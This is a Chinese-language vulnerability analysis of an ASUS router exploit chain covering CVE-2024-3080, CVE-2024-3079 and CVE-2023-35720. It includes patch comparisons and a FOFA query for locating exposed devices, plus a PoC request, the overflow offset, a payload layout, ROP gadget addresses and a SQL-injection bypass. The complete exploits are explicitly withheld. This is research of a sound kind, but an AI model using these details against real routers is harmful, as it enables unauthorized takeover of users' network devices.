ASUS 未授权漏洞链

CVE-2024-3080

漏洞简介

1
2
3
4
5
6
7
8
9
10
11
12
CVE-2024-3080(CVSS v3.1 评分9.8),属于“严重”级别,是一个认证绕过漏洞,可导致未认证的远程攻击者控制设备。华硕公司表示该漏洞影响如下路由器型号:
ZenWiFi XT8 version 3.0.0.4.388_24609 and earlier
ZenWiFi XT8 version V2 3.0.0.4.388_24609 and earlier
RT-AX88U version 3.0.0.4.388_24198 and earlier
RT-AX58U version 3.0.0.4.388_23925 and earlier
RT-AX57 version 3.0.0.4.386_52294 and earlier
RT-AC86U version 3.0.0.4.386_51915 and earlier
RT-AC68U version 3.0.0.4.386_51668 and earlier
fofa:
icon_hash="552592949"
固件下载链接:
https://www.asus.com.cn/networking-iot-servers/wifi-routers/asus-wifi-routers/rtac68u/helpdesk_bios?model2Name=RTAC68U

漏洞点在lighttpd需要前往http://router.asus.com/cloud_main.asp并启用云盘来启用 lighttpd 服务器

img

漏洞分析

mod_webdav.so文件中,在检查路由的时候, 代码如下

img

检查路由的时候判断是不是 /smb/ 但是忽略了, 如果是 /smb 则可以绕过授权

补丁分析

漏洞版本

img

修复版本

img

CVE-2024-3079

漏洞简介

1
2
3
4
5
6
7
8
9
10
11
12
CVE-2024-3079 授权栈溢出
ZenWiFi XT8 version 3.0.0.4.388_24609 and earlier
ZenWiFi XT8 version V2 3.0.0.4.388_24609 and earlier
RT-AX88U version 3.0.0.4.388_24198 and earlier
RT-AX58U version 3.0.0.4.388_23925 and earlier
RT-AX57 version 3.0.0.4.386_52294 and earlier
RT-AC86U version 3.0.0.4.386_51915 and earlier
RT-AC68U version 3.0.0.4.386_51668 and earlier
fofa:
icon_hash="552592949"
固件下载链接:
https://www.asus.com.cn/networking-iot-servers/wifi-routers/asus-wifi-routers/rtac68u/helpdesk_bios?model2Name=RTAC68U

漏洞点在lighttpd需要前往http://router.asus.com/cloud_main.asp并启用云盘来启用 lighttpd 服务器,下面选项开启一个即可

img

漏洞分析

lighttpd文件中,connection_state_machine函数中,对cookie的长度未验证直接拷贝导致溢出,在cookie后添加字符串不影响权限认证

img

补丁分析

添加了长度校验,现在了拷贝的最大长度

img

PoC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
GET /smb HTTP/1.1
Host: www.asusrouter.com
Cookie: asus_token=WbgHloz6DwJpw7KmtLGavseXPVByfPG; clickedItem_tab=0
Sec-Ch-Ua: "Chromium";v="125", "Not.A/Brand";v="24"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.6422.60 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Priority: u=0, i
Connection: keep-alive

img

ExP

偏移:0xbef9bc44-0xbef9b7e8=0x45c

1
payload=b'a'*0x45c+p32(r4)+p32(r11)+p32(pc)

img

第一处崩溃,buffer_free函数参数被覆盖

解决方法:在so文件的bss段选择一个地址,同时避免00截断

img

img

修复后即可控制pc

img

EXP字符过滤

buffer_urldecode_path函数中,对数据包字符进行过滤

img

思路一:爆破libc基址

缺点每次发包失败后lighttpd都会重启但需要等待一段时间一分钟以内

我用到的三个gadget

1
2
3
gadget1:0x0004e048 : str r5, [r4] ; pop {r4, r5, r6, pc}
gadget2:0x0005a164 : mov r0, r5 ; pop {r3, r4, r5, pc}
gadget3:0x0004e04c : pop {r4, r5, r6, pc}

ExP

1
完整exp交给读者了,哈哈哈

思路二:ROP

利用CVE-2023-35720爆破出libsqlite3.so.0.8.6的基址,将命令写入到bss段中,然后利用gadget传递到system函数

1
完整EXP交给读者

CVE-2023-35720

漏洞简介

1
2
3
在一些路由器设备中,存在sql注入漏洞,结合CVE-2024-3080达到未授权sql注入
fofa:
icon_hash="552592949"

漏洞分析

mod_webdav.so文件中,从用户端输入获取Keyword的值,过滤是否含有单引号

img

在字符串拼接的时候对Keyword进行url解码,因此可以利用url编码绕过前面的过滤

img

综上,造成sql注入漏洞

img

补丁分析

判断Keyword有值后立即url解码

img

对解码后的值进行过滤

img

img

PoC

注意:443端口https协议

img

泄露基址

执行在sql注入前,会打开数据库继续判断是否存在,这个数据库是插上U盘之后系统自己创建的

img

调试发现,AAA目录是自己挂载的U盘名,当U盘拔出时会导致打开数据库失败

img

img

sql语句

1
2
3
SELECT d.ID as ID, d.PATH as PATH, d.TITLE as TITLE, d.SIZE as SIZE, d.TIMESTAMP as TIMESTAMP, d.THUMBNAIL as THUMBNAIL, d.RESOLUTION as RESOLUTION 
from DETAILS d
where d.MIME glob 'i*' and ( PATH LIKE '%abc'ABC%' or TITLE LIKE '%abc'ABC%' )

EXP

1
完整exp交给读者

参考链接

https://bestwing.me/RWCTF-6th-Router4-Writeup.html

https://blog.chaitin.cn/abusing_fts3_tokenizer/

https://robertchen.cc/blog/2021/03/31/asus-rce